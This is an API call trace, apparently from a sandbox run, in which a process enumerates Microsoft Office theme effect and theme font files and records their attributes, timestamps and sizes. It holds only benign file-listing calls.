	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dae8 | out: lpFileInformation=0x1270dae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29)) returned 1
	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270db38 | out: lpFileInformation=0x1270db38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d)) returned 1
	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270db88 | out: lpFileInformation=0x1270db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85)) returned 1
	[0051.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dbd8 | out: lpFileInformation=0x1270dbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c)) returned 1
	[0051.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dc28 | out: lpFileInformation=0x1270dc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f)) returned 1
	[0051.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dc78 | out: lpFileInformation=0x1270dc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84)) returned 1
	[0051.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dcc8 | out: lpFileInformation=0x1270dcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b)) returned 1
	[0051.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dd18 | out: lpFileInformation=0x1270dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8)) returned 1
	[0051.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270dd68 | out: lpFileInformation=0x1270dd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778)) returned 1
	[0051.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), fInfoLevelId=0x0, lpFileInformation=0x1270ddb8 | out: lpFileInformation=0x1270ddb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.843] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1
	[0051.844] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1
	[0051.845] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1
